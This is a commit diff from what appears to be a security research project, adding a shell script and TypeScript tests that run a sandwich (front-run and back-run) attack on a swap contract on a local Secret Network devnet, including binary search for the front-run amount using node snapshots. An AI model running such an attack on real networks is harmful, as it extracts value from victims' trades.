finish demo

Author: lilione

hacking/scripts/test_swap.sh

@@ -1,31 +1,24 @@
 set -x
 set -e
 
-VICTIM='secret1fc3fzy78ttp0lwuujw7e52rhspxn8uj52zfyne'
-ADV='secret1ap26qrlp8mcq2pg6r47w43l0y8zkqm8a450s03'
-ADMIN='secret1ajz54hz8azwuy34qwy9fkjnfcrvf0dzswy0lqq'
+VICTIM='secret1ldjxljw7v4vk6zhyduywh04hpj0jdwxsmrlatf'
+ADV='secret1ajz54hz8azwuy34qwy9fkjnfcrvf0dzswy0lqq'
+ADMIN='secret1fc3fzy78ttp0lwuujw7e52rhspxn8uj52zfyne'
 UNIQUE_LABEL=$(date '+%Y-%m-%d-%H:%M:%S')
 PASSPHRASE=`cat passphrase.txt`
 CHAIN_ID='secretdev-1'
 SECRETD=./secretd
 
-sleep_time=3
+sleep_time=5
 
 generate_and_sign_tx() {
   $SECRETD tx compute execute $CONTRACT_ADDRESS --generate-only "{\"swap\":{\"token_type\":\"$1\",\"offer_amt\":$2,\"expected_return_amt\":$3,\"receiver\":\"$4\"}}" --from $4 --enclave-key io-master-cert.der --code-hash $CODE_HASH --label $UNIQUE_LABEL -y --broadcast-mode sync > tx_$5.json
   echo $PASSPHRASE | $SECRETD tx sign tx_$5.json --chain-id $CHAIN_ID --from $4 --keyring-backend file -y > tx_$5_sign.json
 }
 
 deliver_tx() {
-  tx=$(echo $PASSPHRASE | $SECRETD tx compute delivertx tx_$1_sign.json --from $ADMIN --keyring-backend file -y)
-#  echo $tx
+  echo $PASSPHRASE | $SECRETD tx compute delivertx tx_$1_sign.json --from $ADMIN --keyring-backend file -y
   sleep $sleep_time
-#  tx_hash=$(echo $tx | jq -r .txhash )
-#  echo $tx_hash
-  seq=$(cat tx_$1_sign.json | jq -r .auth_info.signer_infos[0].sequence)
-  echo $seq
-  tx_result_code=$($SECRETD q tx --type=acc_seq $2/$seq | jq .code)
-  echo $tx_result_code
 }
 
 execute_tx() {
@@ -43,6 +36,16 @@ reset_snapshot() {
     sleep $sleep_time
 }
 
+query_pool() {
+  size=$(echo $PASSPHRASE | $SECRETD q compute query $CONTRACT_ADDRESS "{\"$1\":{}}")
+  echo $size
+}
+
+broadcast_tx() {
+   echo $PASSPHRASE | $SECRETD tx broadcast tx_$1_sign.json --from $ADMIN --keyring-backend file -y
+  sleep $sleep_time
+}
+
 reset_snapshot
 ./node_modules/.bin/jest -t Deploy
 
@@ -52,35 +55,45 @@ CODE_HASH=`cat codeHash.txt`
 # make victim tx
 generate_and_sign_tx token_a 10 20 $VICTIM victim
 
-# make front-run tx
-#generate_and_sign_tx token_a 1 0 $ADV adv
-generate_and_sign_tx token_a 100 0 $ADV adv
+cnt=0
+lo=15
+hi=25
+while [ $(expr $hi - $lo) -ne 1 ]; do
+  mid=$(expr '(' $hi + $lo ')' / 2)
+  echo $lo $hi $mid
 
+  generate_and_sign_tx token_a $mid 0 $ADV adv
 
-cnt=0
-set_snapshot 1
+  set_snapshot $cnt
 
-deliver_tx adv $ADV
+  query_pool pool_a
+  deliver_tx adv
+  old_pool_a=$(query_pool pool_a)
+  deliver_tx victim
+  new_pool_a=$(query_pool pool_a)
+  dif_pool_a=$(($new_pool_a - $old_pool_a))
+  echo $old_pool_a $new_pool_a $dif_pool_a
+
+  if [ $dif_pool_a -gt 0 ]; then lo=$mid; else hi=$mid; fi
+  cnt=$((cnt + 1))
+done
+echo $lo
+
+# make front-run tx
+generate_and_sign_tx token_a $lo 0 $ADV adv
+
+set_snapshot $cnt
+old_pool_b=$(query_pool pool_b)
+deliver_tx adv
+new_pool_b=$(query_pool pool_b)
+dif_pool_b=$(($old_pool_b - $new_pool_b))
+
+# broadcast all 3 txs
+reset_snapshot
+broadcast_tx adv
 ./node_modules/.bin/jest -t QuerySwap
-deliver_tx victim $VICTIM
+broadcast_tx victim
 ./node_modules/.bin/jest -t QuerySwap
-
-## make back-run tx
-#
-## broadcast all 3 txs
-#set_snapshot 'snapshot2'
-#deliver_tx tx_victim_sign.json
-#
-#sleep 10
-#
-#./node_modules/.bin/jest -t QuerySwap
-
-#lo=1
-#hi=1000
-#target=101
-#while [ $(expr $hi - $lo) -ne 1 ]; do
-#  mid=$(expr '(' $hi + $lo ')' / 2)
-#
-#  if [ $mid -le $target ]; then lo=$mid; else hi=$mid; fi
-#done
-#echo "$lo"
+# send back-run tx
+execute_tx token_b $dif_pool_b 0 $ADV
+./node_modules/.bin/jest -t QuerySwap

hacking/start_node.sh

@@ -1,5 +1,5 @@
 #!/bin/bash
-set +x
+set -x
 
 docker-compose down
 set -e
@@ -39,8 +39,8 @@ do
     sleep 5
 done
 
-docker cp hacking-localsecret-2-1:/usr/bin/secretd ./secretd
-docker cp hacking-localsecret-2-1:/root/io-master-cert.der ./io-master-cert.der
-
 docker-compose stop localsecret-1
 ./logs.sh
+
+docker cp hacking-localsecret-2-1:/usr/bin/secretd ./secretd
+docker cp hacking-localsecret-2-1:/root/io-master-cert.der ./io-master-cert.der

hacking/test.ts

@@ -37,7 +37,7 @@ type Account = {
     secretjs: SecretNetworkClient;
 };
 
-const accountsCount = 3;
+const accountsCount = 4;
 
 // @ts-ignore
 // accounts on secretdev-1
@@ -50,13 +50,16 @@ const contracts = {
 
 let v1Wasm: Uint8Array;
 
+let admin: Account;
+
 // let readonly: SecretNetworkClient;
 
 beforeAll(async () => {
     const mnemonics = [
         "grant rice replace explain federal release fix clever romance raise often wild taxi quarter soccer fiber love must tape steak together observe swap guitar",
         "jelly shadow frog dirt dragon use armed praise universe win jungle close inmate rain oil canvas beauty pioneer chef soccer icon dizzy thunder meadow",
         "chair love bleak wonder skirt permit say assist aunt credit roast size obtain minute throw sand usual age smart exact enough room shadow charge",
+        "word twist toast cloth movie predict advance crumble escape whale sail such angry muffin balcony keen move employ cook valve hurt glimpse breeze brick"
     ];
 
     // Create clients for all of the existing wallets in secretdev-1
@@ -97,6 +100,8 @@ beforeAll(async () => {
         };
     }
 
+    admin = accounts[0];
+
     // Send 100k SCRT from account 0 to each of accounts 1-itrations
 
     // const { secretjs } = accounts[0];
@@ -283,11 +288,10 @@ async function query_balance(contract_addr, code_hash, token_type, user) {
 }
 
 async function set_balance(contract_addr, code_hash, token_type, user, balance) {
-    const account = accounts[2].secretjs
     const user_addr = user.address
-    let tx = await account.tx.compute.executeContract(
+    let tx = await admin.secretjs.tx.compute.executeContract(
         {
-            sender: account.address,
+            sender: admin.address,
             contractAddress: contract_addr,
             codeHash: code_hash,
             msg: {
@@ -340,14 +344,14 @@ describe("Deploy", () => {
         contract.codeHash = toHex(sha256(wasm));
 
         console.log("Storing contracts on secretdev-1...");
-        let account = accounts[2].secretjs;
+        let account = admin.secretjs;
         let tx: Tx = await storeContracts(account, [wasm]);
         contract.codeId = Number(
             tx.arrayLog.find((x) => x.key === "code_id").value
         );
 
         console.log("Instantiating contracts on simple...");
-        let sender = accounts[2].address;
+        let sender = admin.address;
         let code_hash = contract.codeHash;
         tx = await account.tx.broadcast(
              [
@@ -386,10 +390,10 @@ describe("Deploy", () => {
 
         await query_pool(account, contract_addr, code_hash)
 
-        await set_balance(contract_addr, code_hash, "token_a", accounts[0], 123)
-        await set_balance(contract_addr, code_hash, "token_b", accounts[0], 789)
-        await set_balance(contract_addr, code_hash, "token_a", accounts[1], 456)
-        await set_balance(contract_addr, code_hash, "token_b", accounts[1], 101)
+        await set_balance(contract_addr, code_hash, "token_a", accounts[2], 1000)
+        await set_balance(contract_addr, code_hash, "token_b", accounts[2], 1000)
+        await set_balance(contract_addr, code_hash, "token_a", accounts[3], 1000)
+        await set_balance(contract_addr, code_hash, "token_b", accounts[3], 1000)
     });
 });
 
@@ -463,13 +467,13 @@ describe("QuerySwap", () => {
     test("toy", async () => {
         const contract_addr = fs.readFileSync('contractAddress.txt', 'utf8');
         const code_hash = fs.readFileSync('codeHash.txt', 'utf8');
-        const account = accounts[2].secretjs;
+        const account = admin.secretjs;
 
         await query_pool(account, contract_addr, code_hash)
-        await query_balance(contract_addr, code_hash, "token_a", accounts[0])
-        await query_balance(contract_addr, code_hash, "token_b", accounts[0])
-        await query_balance(contract_addr, code_hash, "token_a", accounts[1])
-        await query_balance(contract_addr, code_hash, "token_b", accounts[1])
+        await query_balance(contract_addr, code_hash, "token_a", accounts[2])
+        await query_balance(contract_addr, code_hash, "token_b", accounts[2])
+        await query_balance(contract_addr, code_hash, "token_a", accounts[3])
+        await query_balance(contract_addr, code_hash, "token_b", accounts[3])
 
     });
 });